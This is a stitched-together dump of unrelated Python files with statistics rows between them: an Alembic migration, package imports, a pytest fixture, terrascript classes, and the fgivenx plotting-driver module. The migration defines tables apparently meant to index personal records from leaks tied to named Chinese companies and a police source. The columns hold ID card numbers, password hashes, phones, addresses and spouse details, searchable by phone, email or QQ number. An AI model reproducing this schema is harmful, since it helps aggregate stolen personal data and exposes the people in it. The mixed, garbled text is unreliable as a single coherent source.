# ### commands auto generated by Alembic - please adjust! ###
op.create_table('jingdong',
sa.Column('id', mysql.BIGINT(), autoincrement=True, nullable=False),
sa.Column('name', mysql.VARCHAR(length=255), nullable=True),
sa.Column('username', mysql.VARCHAR(length=255), nullable=True),
sa.Column('password_md5', mysql.VARCHAR(length=255), nullable=True),
sa.Column('mail', mysql.VARCHAR(length=255), nullable=True),
sa.Column('card_no', mysql.VARCHAR(length=255), nullable=True),
sa.Column('tel', mysql.VARCHAR(length=20), nullable=True),
sa.Column('phone', mysql.VARCHAR(length=20), nullable=True),
sa.PrimaryKeyConstraint('id'),
mysql_collate='utf8mb4_0900_ai_ci',
mysql_default_charset='utf8mb4',
mysql_engine='InnoDB'
)
op.create_index('ix_jingdong_tel', 'jingdong', ['tel'], unique=False)
op.create_index('ix_jingdong_mail', 'jingdong', ['mail'], unique=False)
op.create_table('weibo',
sa.Column('id', mysql.BIGINT(), autoincrement=True, nullable=False),
sa.Column('uid', mysql.BIGINT(), autoincrement=False, nullable=False),
sa.Column('tel', mysql.BIGINT(), autoincrement=False, nullable=False),
sa.PrimaryKeyConstraint('id'),
mysql_collate='utf8mb4_0900_ai_ci',
mysql_default_charset='utf8mb4',
mysql_engine='InnoDB'
)
op.create_index('ix_weibo_uid', 'weibo', ['uid'], unique=False)
op.create_index('ix_weibo_tel', 'weibo', ['tel'], unique=False)
op.create_table('gongan',
sa.Column('id', mysql.BIGINT(), autoincrement=True, nullable=False),
sa.Column('belong_station', mysql.VARCHAR(length=64), nullable=True),
sa.Column('create_time', mysql.VARCHAR(length=64), nullable=True),
sa.Column('address_available', mysql.VARCHAR(length=10), nullable=True),
sa.Column('code', mysql.VARCHAR(length=64), nullable=True),
sa.Column('birth', mysql.VARCHAR(length=64), nullable=True),
sa.Column('gender', mysql.VARCHAR(length=20), nullable=True),
sa.Column('card_no', mysql.VARCHAR(length=64), nullable=True),
sa.Column('name', mysql.VARCHAR(length=255), nullable=True),
sa.Column('tel', mysql.VARCHAR(length=20), nullable=True),
sa.Column('address', mysql.VARCHAR(length=255), nullable=True),
sa.Column('bm1', mysql.VARCHAR(length=4), nullable=True),
sa.Column('bm2', mysql.VARCHAR(length=4), nullable=True),
sa.PrimaryKeyConstraint('id'),
mysql_collate='utf8mb4_0900_ai_ci',
mysql_default_charset='utf8mb4',
mysql_engine='InnoDB'
)
op.create_index('ix_gongan_tel', 'gongan', ['tel'], unique=False)
op.create_table('pingan',
sa.Column('id', mysql.BIGINT(), autoincrement=True, nullable=False),
sa.Column('product_name', mysql.VARCHAR(length=255), nullable=True),
sa.Column('money', mysql.VARCHAR(length=255), nullable=True),
sa.Column('duration', mysql.VARCHAR(length=100), nullable=True),
sa.Column('name', mysql.VARCHAR(length=255), nullable=True),
sa.Column('card_no', mysql.VARCHAR(length=255), nullable=True),
sa.Column('gender', mysql.VARCHAR(length=255), nullable=True),
sa.Column('tel', mysql.VARCHAR(length=20), nullable=True),
sa.Column('email', mysql.VARCHAR(length=100), nullable=True),
sa.Column('province', mysql.VARCHAR(length=100), nullable=True),
sa.Column('city', mysql.VARCHAR(length=100), nullable=True),
sa.Column('income', mysql.VARCHAR(length=200), nullable=True),
sa.Column('married', mysql.VARCHAR(length=64), nullable=True),
sa.Column('insure_form', mysql.VARCHAR(length=64), nullable=True),
sa.Column('insure_industy', mysql.VARCHAR(length=64), nullable=True),
sa.Column('insure_aim', mysql.VARCHAR(length=64), nullable=True),
sa.Column('fee_util', mysql.VARCHAR(length=64), nullable=True),
sa.PrimaryKeyConstraint('id'),
mysql_collate='utf8mb4_0900_ai_ci',
mysql_default_charset='utf8mb4',
mysql_engine='InnoDB'
)
op.create_index('ix_pingan_tel', 'pingan', ['tel'], unique=False)
op.create_index('ix_pingan_email', 'pingan', ['email'], unique=False)
op.create_table('qq',
sa.Column('id', mysql.BIGINT(), autoincrement=True, nullable=False),
sa.Column('qq', mysql.BIGINT(), autoincrement=False, nullable=False),
sa.Column('tel', mysql.BIGINT(), autoincrement=False, nullable=False),
sa.PrimaryKeyConstraint('id'),
mysql_collate='utf8mb4_0900_ai_ci',
mysql_default_charset='utf8mb4',
mysql_engine='InnoDB'
)
op.create_index('ix_qq_tel', 'qq', ['tel'], unique=False)
op.create_index('ix_qq_qq', 'qq', ['qq'], unique=False)
op.create_table('jiekuan',
sa.Column('id', mysql.BIGINT(), autoincrement=True, nullable=False),
sa.Column('name', mysql.VARCHAR(length=255), nullable=True),
sa.Column('amount', mysql.VARCHAR(length=255), nullable=True),
sa.Column('gender', mysql.VARCHAR(length=255), nullable=True),
sa.Column('native', mysql.VARCHAR(length=255), nullable=True),
sa.Column('card_util_date', mysql.VARCHAR(length=255), nullable=True),
sa.Column('card_no_place', mysql.VARCHAR(length=255), nullable=True),
sa.Column('card_no_address', mysql.VARCHAR(length=255), nullable=True),
sa.Column('address', mysql.VARCHAR(length=255), nullable=True),
sa.Column('wechat', mysql.VARCHAR(length=255), nullable=True),
sa.Column('qq', mysql.VARCHAR(length=255), nullable=True),
sa.Column('card_no', mysql.VARCHAR(length=255), nullable=True),
sa.Column('tel', mysql.VARCHAR(length=255), nullable=True),
sa.Column('education_level', mysql.VARCHAR(length=255), nullable=True),
sa.Column('married', mysql.VARCHAR(length=255), nullable=True),
sa.Column('sons', mysql.VARCHAR(length=255), nullable=True),
sa.Column('home_type', mysql.VARCHAR(length=255), nullable=True),
sa.Column('wife_name', mysql.VARCHAR(length=255), nullable=True),
sa.Column('wife_card_no', mysql.VARCHAR(length=255), nullable=True),
sa.Column('wife_company', mysql.VARCHAR(length=255), nullable=True),
sa.Column('direct_namee', mysql.VARCHAR(length=255), nullable=True),
sa.Column('direct_relation', mysql.VARCHAR(length=255), nullable=True),
sa.Column('direct_tel', mysql.VARCHAR(length=255), nullable=True),
sa.Column('direct_address', mysql.VARCHAR(length=255), nullable=True),
sa.Column('company', mysql.VARCHAR(length=255), nullable=True),
sa.Column('department', mysql.VARCHAR(length=255), nullable=True),
sa.Column('duty', mysql.VARCHAR(length=255), nullable=True),
sa.Column('job_start_date', mysql.VARCHAR(length=255), nullable=True),
sa.Column('job_salary_date', mysql.VARCHAR(length=255), nullable=True),
sa.Column('month_outcome', mysql.VARCHAR(length=255), nullable=True),
sa.Column('month_income', mysql.VARCHAR(length=255), nullable=True),
sa.Column('job_initial_date', mysql.VARCHAR(length=255), nullable=True),
sa.Column('lend_time', mysql.VARCHAR(length=255), nullable=True),
sa.Column('company_property', mysql.VARCHAR(length=255), nullable=True),
sa.Column('birth', mysql.VARCHAR(length=255), nullable=True),
sa.PrimaryKeyConstraint('id'),
mysql_collate='utf8mb4_0900_ai_ci',
mysql_default_charset='utf8mb4',
mysql_engine='InnoDB'
)
op.create_index('ix_jiekuan_tel', 'jiekuan', ['tel'], unique=False)
op.create_index('ix_jiekuan_qq', 'jiekuan', ['qq'], unique=False)
op.create_table('car',
sa.Column('id', mysql.BIGINT(), autoincrement=True, nullable=False),
sa.Column('card_struct_no', mysql.VARCHAR(length=255), nullable=True),
sa.Column('name', mysql.VARCHAR(length=255), nullable=True),
sa.Column('card_no', mysql.VARCHAR(length=255), nullable=True),
sa.Column('gender', mysql.VARCHAR(length=255), nullable=True),
sa.Column('tel', mysql.VARCHAR(length=20), nullable=True),
sa.Column('email', mysql.VARCHAR(length=64), nullable=True),
sa.Column('province', mysql.VARCHAR(length=64), nullable=True),
sa.Column('city', mysql.VARCHAR(length=64), nullable=True),
sa.Column('address', mysql.VARCHAR(length=255), nullable=True),
sa.Column('post_no', mysql.VARCHAR(length=255), nullable=True),
sa.Column('birth', mysql.VARCHAR(length=64), nullable=True),
sa.Column('work', mysql.VARCHAR(length=64), nullable=True),
sa.Column('salary', mysql.VARCHAR(length=64), nullable=True),
sa.Column('married', mysql.VARCHAR(length=20), nullable=True),
sa.Column('education_level', mysql.VARCHAR(length=20), nullable=True),
sa.Column('car_brand', mysql.VARCHAR(length=200), nullable=True),
sa.Column('car_service', mysql.VARCHAR(length=200), nullable=True),
sa.Column('car_config', mysql.VARCHAR(length=255), nullable=True),
sa.Column('color', mysql.VARCHAR(length=64), nullable=True),
sa.Column('engine', mysql.VARCHAR(length=255), nullable=True),
sa.PrimaryKeyConstraint('id'),
mysql_collate='utf8mb4_0900_ai_ci',
mysql_default_charset='utf8mb4',
mysql_engine='InnoDB'
)
op.create_index('ix_car_tel', 'car', ['tel'], unique=False)
op.create_index('ix_car_email', 'car', ['email'], unique=False)
op.create_table('kfc',
sa.Column('id', mysql.BIGINT(), autoincrement=True, nullable=False),
sa.Column('name', mysql.VARCHAR(length=255), nullable=True),
sa.Column('card_no', mysql.VARCHAR(length=255), nullable=True),
sa.Column('descriot', mysql.VARCHAR(length=255), nullable=True),
sa.Column('ctf_tp', mysql.VARCHAR(length=255), nullable=True),
sa.Column('ctf_id', mysql.VARCHAR(length=255), nullable=True),
sa.Column('gender', mysql.VARCHAR(length=60), nullable=True),
sa.Column('birthday', mysql.VARCHAR(length=100), nullable=True),
sa.Column('address', mysql.VARCHAR(length=255), nullable=True),
sa.Column('zip', mysql.VARCHAR(length=255), nullable=True),
sa.Column('dirty', mysql.VARCHAR(length=255), nullable=True),
sa.Column('district1', mysql.VARCHAR(length=255), nullable=True),
sa.Column('district2', mysql.VARCHAR(length=255), nullable=True),
sa.Column('district3', mysql.VARCHAR(length=255), nullable=True),
sa.Column('district4', mysql.VARCHAR(length=255), nullable=True),
sa.Column('district5', mysql.VARCHAR(length=255), nullable=True),
sa.Column('district6', mysql.VARCHAR(length=255), nullable=True),
sa.Column('first_name', mysql.VARCHAR(length=255), nullable=True),
sa.Column('last_name', mysql.VARCHAR(length=255), nullable=True),
sa.Column('duty', mysql.VARCHAR(length=255), nullable=True),
sa.Column('mobile', mysql.VARCHAR(length=20), nullable=True),
sa.Column('tel', mysql.VARCHAR(length=255), nullable=True),
sa.Column('fax', mysql.VARCHAR(length=20), nullable=True),
sa.Column('email', mysql.VARCHAR(length=255), nullable=True),
sa.Column('nation', mysql.VARCHAR(length=255), nullable=True),
sa.Column('taste', mysql.VARCHAR(length=255), nullable=True),
sa.Column('education', mysql.VARCHAR(length=200), nullable=True),
sa.Column('company', mysql.VARCHAR(length=255), nullable=True),
sa.Column('c_tel', mysql.VARCHAR(length=20), nullable=True),
sa.Column('c_address', mysql.VARCHAR(length=255), nullable=True),
sa.Column('c_zip', mysql.VARCHAR(length=20), nullable=True),
sa.Column('family', mysql.VARCHAR(length=255), nullable=True),
sa.Column('version', mysql.VARCHAR(length=20), nullable=True),
sa.Column('origin_id', mysql.VARCHAR(length=25), nullable=True),
sa.PrimaryKeyConstraint('id'),
mysql_collate='utf8mb4_0900_ai_ci',
mysql_default_charset='utf8mb4',
mysql_engine='InnoDB'
)
op.create_index('ix_kfc_tel', 'kfc', ['tel'], unique=False)
op.create_index('ix_kfc_email', 'kfc', ['email'], unique=False)
op.create_table('shunfeng',
sa.Column('id', mysql.BIGINT(), autoincrement=True, nullable=False),
sa.Column('name', mysql.VARCHAR(length=255), nullable=True),
sa.Column('tel', mysql.VARCHAR(length=20), nullable=True),
sa.Column('province', mysql.VARCHAR(length=100), nullable=True),
sa.Column('city', mysql.VARCHAR(length=100), nullable=True),
sa.Column('dist', mysql.VARCHAR(length=255), nullable=True),
sa.Column('addr', mysql.VARCHAR(length=255), nullable=True),
sa.PrimaryKeyConstraint('id'),
mysql_collate='utf8mb4_0900_ai_ci',
mysql_default_charset='utf8mb4',
mysql_engine='InnoDB'
)
op.create_index('ix_shunfeng_tel', 'shunfeng', ['tel'], unique=False)
op.create_table('qiye',
sa.Column('id', mysql.BIGINT(), autoincrement=True, nullable=False),
sa.Column('name', mysql.VARCHAR(length=255), nullable=True),
sa.Column('tel', mysql.VARCHAR(length=20), nullable=True),
sa.Column('phone', mysql.VARCHAR(length=20), nullable=True),
sa.Column('company_name', mysql.VARCHAR(length=255), nullable=True),
sa.Column('company_address', mysql.VARCHAR(length=255), nullable=True),
sa.Column('province', mysql.VARCHAR(length=64), nullable=True),
sa.Column('company_keyword', mysql.VARCHAR(length=255), nullable=True),
sa.PrimaryKeyConstraint('id'),
mysql_collate='utf8mb4_0900_ai_ci',
mysql_default_charset='utf8mb4',
mysql_engine='InnoDB'
)
op.create_index('ix_qiye_tel', 'qiye', ['tel'], unique=False)
# ### end Alembic commands ###
| 53.264286
| 76
| 0.701556
| 2,031
| 14,914
| 5.018218
| 0.085672
| 0.116954
| 0.238422
| 0.249215
| 0.871272
| 0.808968
| 0.784831
| 0.760695
| 0.623136
| 0.472429
| 0
| 0.038356
| 0.117205
| 14,914
| 279
| 77
| 53.455197
| 0.735759
| 0.019378
| 0
| 0.358779
| 0
| 0
| 0.14841
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.007634
| false
| 0.003817
| 0.01145
| 0
| 0.019084
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
2153e9953162fe6fb3af358f1ecb6a76766a9983
| 237
|
py
|
Python
|
dnnsvg/__init__.py
|
yuishihara/dnnsvg
|
3bbc6ef6f8630498c7b791bb07efff6e1cd11a50
|
[
"MIT"
] | 3
|
2019-10-30T01:05:13.000Z
|
2021-01-25T20:54:19.000Z
|
dnnsvg/__init__.py
|
yuishihara/dnnsvg
|
3bbc6ef6f8630498c7b791bb07efff6e1cd11a50
|
[
"MIT"
] | null | null | null |
dnnsvg/__init__.py
|
yuishihara/dnnsvg
|
3bbc6ef6f8630498c7b791bb07efff6e1cd11a50
|
[
"MIT"
] | 1
|
2019-10-30T01:09:51.000Z
|
2019-10-30T01:09:51.000Z
|
from dnnsvg import layers
from dnnsvg.svg_builder import SVGBuilder
from dnnsvg.svgeables.variables.tensor_2d import Tensor2D
from dnnsvg.svgeables.variables.tensor_3d import Tensor3D
from dnnsvg.svgeables.captions.caption import Caption
| 47.4
| 57
| 0.877637
| 33
| 237
| 6.212121
| 0.484848
| 0.243902
| 0.278049
| 0.273171
| 0.331707
| 0
| 0
| 0
| 0
| 0
| 0
| 0.018349
| 0.080169
| 237
| 5
| 58
| 47.4
| 0.922018
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 6
|
dcbf8a28a968f1aa52484037af2beaa2516eb51e
| 250
|
py
|
Python
|
production/tests/conftest.py
|
sainide/Customer-Churn-Prediction
|
f7fd5bf1d21f2b7dad50fb1a6c51d77ef449e879
|
[
"BSD-3-Clause"
] | null | null | null |
production/tests/conftest.py
|
sainide/Customer-Churn-Prediction
|
f7fd5bf1d21f2b7dad50fb1a6c51d77ef449e879
|
[
"BSD-3-Clause"
] | null | null | null |
production/tests/conftest.py
|
sainide/Customer-Churn-Prediction
|
f7fd5bf1d21f2b7dad50fb1a6c51d77ef449e879
|
[
"BSD-3-Clause"
] | null | null | null |
import pytest
from classification_model.config.core import config
from classification_model.processing.data_manager import load_dataset
@pytest.fixture()
def sample_input_data():
return load_dataset(file_name=config.app_config.test_data_file)
| 25
| 69
| 0.848
| 35
| 250
| 5.742857
| 0.6
| 0.179104
| 0.228856
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.088
| 250
| 9
| 70
| 27.777778
| 0.881579
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| true
| 0
| 0.5
| 0.166667
| 0.833333
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 6
|
dcd554291817b398928bef57ec99ed6c4a636952
| 358
|
py
|
Python
|
terrascript/github/d.py
|
vutsalsinghal/python-terrascript
|
3b9fb5ad77453d330fb0cd03524154a342c5d5dc
|
[
"BSD-2-Clause"
] | null | null | null |
terrascript/github/d.py
|
vutsalsinghal/python-terrascript
|
3b9fb5ad77453d330fb0cd03524154a342c5d5dc
|
[
"BSD-2-Clause"
] | null | null | null |
terrascript/github/d.py
|
vutsalsinghal/python-terrascript
|
3b9fb5ad77453d330fb0cd03524154a342c5d5dc
|
[
"BSD-2-Clause"
] | null | null | null |
# terrascript/github/d.py
import terrascript
class github_collaborators(terrascript.Data):
pass
class github_ip_ranges(terrascript.Data):
pass
class github_repositories(terrascript.Data):
pass
class github_repository(terrascript.Data):
pass
class github_team(terrascript.Data):
pass
class github_user(terrascript.Data):
pass
| 15.565217
| 45
| 0.768156
| 43
| 358
| 6.232558
| 0.348837
| 0.246269
| 0.425373
| 0.447761
| 0.559701
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.153631
| 358
| 22
| 46
| 16.272727
| 0.884488
| 0.064246
| 0
| 0.461538
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.461538
| 0.076923
| 0
| 0.538462
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
|
0
| 6
|
0d11b0c592e35dc9d299b946d4178c688fd0a1a7
| 19,324
|
py
|
Python
|
fgivenx/drivers.py
|
Stefan-Heimersheim/fgivenx
|
ef8b02f47eea24af4de1a17088c092ef9d523fec
|
[
"MIT"
] | 11
|
2017-10-13T11:04:53.000Z
|
2021-03-26T15:54:12.000Z
|
fgivenx/drivers.py
|
Stefan-Heimersheim/fgivenx
|
ef8b02f47eea24af4de1a17088c092ef9d523fec
|
[
"MIT"
] | 16
|
2018-08-01T09:25:08.000Z
|
2022-03-04T12:29:52.000Z
|
fgivenx/drivers.py
|
Stefan-Heimersheim/fgivenx
|
ef8b02f47eea24af4de1a17088c092ef9d523fec
|
[
"MIT"
] | 12
|
2018-02-04T20:34:01.000Z
|
2021-12-10T10:58:20.000Z
|
r"""This module provides utilities for computing the grid for contours of a
function reconstruction plot.
Required ingredients:
* sampled posterior probability distribution :math:`P(\theta)`
* independent variable :math:`x`
* dependent variable :math:`y`
* functional form :math:`y = f(x;\theta)` parameterised by :math:`\theta`
Assuming that you have obtained samples of :math:`\theta` from an MCMC
process, we aim to compute the density:
.. math::
P(y|x) &= \int P(y=f(x;\theta)|x,\theta) P(\theta) d\theta \\
&= \int \delta(y-f(x;\theta)) P(\theta) d\theta
which gives our degree of knowledge for each :math:`y=f(x;\theta)` value
given an :math:`x` value.
In fact, for a more representative plot, we are not actually
interested in the value of the probability density above, but in fact
require the "iso-probablity posterior mass"
.. math::
\mathrm{pmf}(y|x) = \int_{P(y'|x) < P(y|x)} P(y'|x) dy'
We thus need to compute this function on a rectangular grid of :math:`x`
and :math:`y`.
"""
import numpy
import fgivenx.samples
import fgivenx.mass
import fgivenx.dkl
import fgivenx.plot
import matplotlib.pyplot as plt
from fgivenx._utils import _check_args, _normalise_weights,\
_equally_weight_samples
def plot_contours(f, x, samples, ax=None, **kwargs):
r"""
Plot the probability mass function given `x` at a range of :math:`y` values
for :math:`y = f(x|\theta)`
:math:`P(y|x) = \int P(y=f(x;\theta)|x,\theta) P(\theta) d\theta`
:math:`\mathrm{pmf}(y|x) = \int_{P(y'|x) < P(y|x)} P(y'|x) dy'`
Additionally, if a list of log-evidences are passed, along with list of
functions, and list of samples, this function plots the probability mass
function for all models marginalised according to the evidences.
Parameters
----------
f: function
function :math:`f(x;\theta)` (or list of functions for each model) with
dependent variable :math:`x`, parameterised by :math:`\theta`.
x: 1D array-like
`x` values to evaluate :math:`f(x;\theta)` at.
samples: 2D array-like
:math:`\theta` samples (or list of :math:`\theta` samples) to evaluate
:math:`f(x;\theta)` at.
`shape = (nsamples, npars)`
ax: axes object, optional
:class:`matplotlib.axes._subplots.AxesSubplot` to plot the contours
onto. If unsupplied, then :func:`matplotlib.pyplot.gca()` is used to
get the last axis used, or create a new one.
logZ: 1D array-like, optional
log-evidences of each model if multiple models are passed.
Should be same length as the list `f`, and need not be normalised.
Default: `numpy.ones_like(f)`
weights: 1D array-like, optional
sample weights (or list of weights), if desired. Should have length
same as `samples.shape[0]`.
Default: `numpy.ones_like(samples)`
ny: int, optional
Resolution of `y` axis.
Default: `100`
y: array-like, optional
Explicit descriptor of `y` values to evaluate.
Default: `numpy.linspace(min(f), max(f), ny)`
ntrim: int, optional
Approximate number of samples to trim down to, if desired. Useful if
the posterior is dramatically oversampled.
Default: None
cache: str, optional
File root for saving previous calculations for re-use
parallel, tqdm_args:
see docstring for :func:`fgivenx.parallel.parallel_apply`
kwargs: further keyword arguments
Any further keyword arguments are plotting keywords that are passed to
:func:`fgivenx.plot.plot`.
Returns
-------
cbar: color bar
:class:`matplotlib.contour.QuadContourSet`
Colors to create a global colour bar
"""
logZ = kwargs.pop('logZ', None)
weights = kwargs.pop('weights', None)
ntrim = kwargs.pop('ntrim', None)
ny = kwargs.pop('ny', 100)
y = kwargs.pop('y', None)
cache = kwargs.pop('cache', '')
parallel = kwargs.pop('parallel', False)
tqdm_kwargs = kwargs.pop('tqdm_kwargs', {})
y, pmf = compute_pmf(f, x, samples, weights=weights, logZ=logZ,
ntrim=ntrim, ny=ny, y=y,
parallel=parallel, cache=cache,
tqdm_kwargs=tqdm_kwargs)
cbar = fgivenx.plot.plot(x, y, pmf, ax, **kwargs)
return cbar
def plot_lines(f, x, samples, ax=None, **kwargs):
r"""
Plot a representative set of functions to sample
Additionally, if a list of log-evidences are passed, along with list of
functions, and list of samples, this function plots the probability mass
function for all models marginalised according to the evidences.
Parameters
----------
f: function
function :math:`f(x;\theta)` (or list of functions for each model) with
dependent variable :math:`x`, parameterised by :math:`\theta`.
x: 1D array-like
`x` values to evaluate :math:`f(x;\theta)` at.
samples: 2D array-like
:math:`\theta` samples (or list of :math:`\theta` samples) to evaluate
:math:`f(x;\theta)` at.
`shape = (nsamples, npars)`
ax: axes object, optional
:class:`matplotlib.axes._subplots.AxesSubplot` to plot the contours
onto. If unsupplied, then :func:`matplotlib.pyplot.gca()` is used to
get the last axis used, or create a new one.
logZ: 1D array-like, optional
log-evidences of each model if multiple models are passed.
Should be same length as the list `f`, and need not be normalised.
Default: `numpy.ones_like(f)`
weights: 1D array-like, optional
sample weights (or list of weights), if desired. Should have length
same as `samples.shape[0]`.
Default: `numpy.ones_like(samples)`
ntrim: int, optional
Approximate number of samples to trim down to, if desired. Useful if
the posterior is dramatically oversampled.
Default: None
cache: str, optional
File root for saving previous calculations for re-use
parallel, tqdm_args:
see docstring for :func:`fgivenx.parallel.parallel_apply`
kwargs: further keyword arguments
Any further keyword arguments are plotting keywords that are passed to
:func:`fgivenx.plot.plot_lines`.
"""
logZ = kwargs.pop('logZ', None)
weights = kwargs.pop('weights', None)
ntrim = kwargs.pop('ntrim', None)
cache = kwargs.pop('cache', '')
parallel = kwargs.pop('parallel', False)
tqdm_kwargs = kwargs.pop('tqdm_kwargs', {})
fsamps = compute_samples(f, x, samples, logZ=logZ,
weights=weights, ntrim=ntrim,
parallel=parallel, cache=cache,
tqdm_kwargs=tqdm_kwargs)
fgivenx.plot.plot_lines(x, fsamps, ax, **kwargs)
def plot_dkl(f, x, samples, prior_samples, ax=None, **kwargs):
r"""
Plot the Kullback-Leibler divergence at each value of :math:`x` for the
prior and posterior defined by `prior_samples` and `samples`.
Let the posterior be:
:math:`P(y|x) = \int P(y=f(x;\theta)|x,\theta)P(\theta) d\theta`
and the prior be:
:math:`Q(y|x) = \int P(y=f(x;\theta)|x,\theta)Q(\theta) d\theta`
then the Kullback-Leibler divergence at each x is defined by
:math:`D_\mathrm{KL}(x)=\int P(y|x)\ln\left[\frac{Q(y|x)}{P(y|x)}\right]dy`
Additionally, if a list of log-evidences are passed, along with list of
functions, and list of samples, this function plots the Kullback-Leibler
divergence for all models marginalised according to the evidences.
Parameters
----------
f: function
function :math:`f(x;\theta)` (or list of functions for each model) with
dependent variable :math:`x`, parameterised by :math:`\theta`.
x: 1D array-like
`x` values to evaluate :math:`f(x;\theta)` at.
samples, prior_samples: 2D array-like
:math:`\theta` samples (or list of :math:`\theta` samples) from
posterior and prior to evaluate :math:`f(x;\theta)` at.
`shape = (nsamples, npars)`
ax: axes object, optional
:class:`matplotlib.axes._subplots.AxesSubplot` to plot the contours
onto. If unsupplied, then :func:`matplotlib.pyplot.gca()` is used to
get the last axis used, or create a new one.
logZ: 1D array-like, optional
log-evidences of each model if multiple models are passed.
Should be same length as the list `f`, and need not be normalised.
Default: `numpy.ones_like(f)`
weights, prior_weights: 1D array-like, optional
sample weights (or list of weights), if desired. Should have length
same as `samples.shape[0]`.
Default: `numpy.ones_like(samples)`
ntrim: int, optional
Approximate number of samples to trim down to, if desired. Useful if
the posterior is dramatically oversampled.
Default: None
cache, prior_cache: str, optional
File roots for saving previous calculations for re-use
parallel, tqdm_args:
see docstring for :func:`fgivenx.parallel.parallel_apply`
kwargs: further keyword arguments
Any further keyword arguments are plotting keywords that are passed to
:func:`fgivenx.plot.plot`.
"""
logZ = kwargs.pop('logZ', None)
weights = kwargs.pop('weights', None)
prior_weights = kwargs.pop('prior_weights', None)
ntrim = kwargs.pop('ntrim', None)
cache = kwargs.pop('cache', '')
prior_cache = kwargs.pop('prior_cache', '')
parallel = kwargs.pop('parallel', False)
tqdm_kwargs = kwargs.pop('tqdm_kwargs', {})
dkls = compute_dkl(f, x, samples, prior_samples,
logZ=logZ, parallel=parallel,
cache=cache, prior_cache=prior_cache,
tqdm_kwargs=tqdm_kwargs,
ntrim=ntrim, weights=weights,
prior_weights=prior_weights)
if ax is None:
ax = plt.gca()
ax.plot(x, dkls, **kwargs)
def compute_samples(f, x, samples, **kwargs):
r"""
Apply the function(s) :math:`f(x;\theta)` to the arrays defined in `x` and
`samples`. Has options for weighting, trimming, cacheing & parallelising.
Additionally, if a list of log-evidences are passed, along with list of
functions, samples and optional weights it marginalises over the models
according to the evidences.
Parameters
----------
f: function
function :math:`f(x;\theta)` (or list of functions for each model) with
dependent variable :math:`x`, parameterised by :math:`\theta`.
x: 1D array-like
`x` values to evaluate :math:`f(x;\theta)` at.
samples: 2D array-like
:math:`\theta` samples (or list of :math:`\theta` samples) to evaluate
:math:`f(x;\theta)` at.
`shape = (nsamples, npars)`
logZ: 1D array-like, optional
log-evidences of each model if multiple models are passed.
Should be same length as the list `f`, and need not be normalised.
Default: `numpy.ones_like(f)`
weights: 1D array-like, optional
sample weights (or list of weights), if desired. Should have length
same as `samples.shape[0]`.
Default: `numpy.ones_like(samples)`
ntrim: int, optional
Approximate number of samples to trim down to, if desired. Useful if
the posterior is dramatically oversampled.
Default: None
cache: str, optional
File root for saving previous calculations for re-use.
Default: None
parallel, tqdm_args:
see docstring for :func:`fgivenx.parallel.parallel_apply`
Returns
-------
2D numpy.array
Evaluate the function `f` at each x value and each theta.
Equivalent to `[[f(x_i,theta) for theta in samples] for x_i in x]`
"""
logZ = kwargs.pop('logZ', None)
weights = kwargs.pop('weights', None)
ntrim = kwargs.pop('ntrim', None)
cache = kwargs.pop('cache', '')
parallel = kwargs.pop('parallel', False)
tqdm_kwargs = kwargs.pop('tqdm_kwargs', {})
if kwargs:
raise TypeError('Unexpected **kwargs: %r' % kwargs)
logZ, f, x, samples, weights = _check_args(logZ, f, x, samples, weights)
logZ, weights = _normalise_weights(logZ, weights, ntrim)
for i, (s, w) in enumerate(zip(samples, weights)):
samples[i] = _equally_weight_samples(s, w)
return fgivenx.samples.compute_samples(f, x, samples,
parallel=parallel, cache=cache,
tqdm_kwargs=tqdm_kwargs)
def compute_pmf(f, x, samples, **kwargs):
r"""
Compute the probability mass function given `x` at a range of `x` values
for :math:`y = f(x|\theta)`
:math:`P(y|x) = \int P(y=f(x;\theta)|x,\theta) P(\theta) d\theta`
:math:`\mathrm{pmf}(y|x) = \int_{P(y'|x) < P(y|x)} P(y'|x) dy'`
Additionally, if a list of log-evidences are passed, along with list of
functions, samples and optional weights it marginalises over the models
according to the evidences.
Parameters
----------
f: function
function :math:`f(x;\theta)` (or list of functions for each model) with
dependent variable :math:`x`, parameterised by :math:`\theta`.
x: 1D array-like
`x` values to evaluate :math:`f(x;\theta)` at.
samples: 2D array-like
:math:`\theta` samples (or list of :math:`\theta` samples) to evaluate
:math:`f(x;\theta)` at.
`shape = (nsamples, npars)`
logZ: 1D array-like, optional
log-evidences of each model if multiple models are passed.
Should be same length as the list `f`, and need not be normalised.
Default: `numpy.ones_like(f)`
weights: 1D array-like, optional
sample weights (or list of weights), if desired. Should have length
same as `samples.shape[0]`.
Default: `numpy.ones_like(samples)`
ny: int, optional
Resolution of y axis.
Default: `100`
y: array-like, optional
Explicit descriptor of `y` values to evaluate.
Default: `numpy.linspace(min(f), max(f), ny)`
ntrim: int, optional
Approximate number of samples to trim down to, if desired. Useful if
the posterior is dramatically oversampled.
Default: None
cache: str, optional
File root for saving previous calculations for re-use
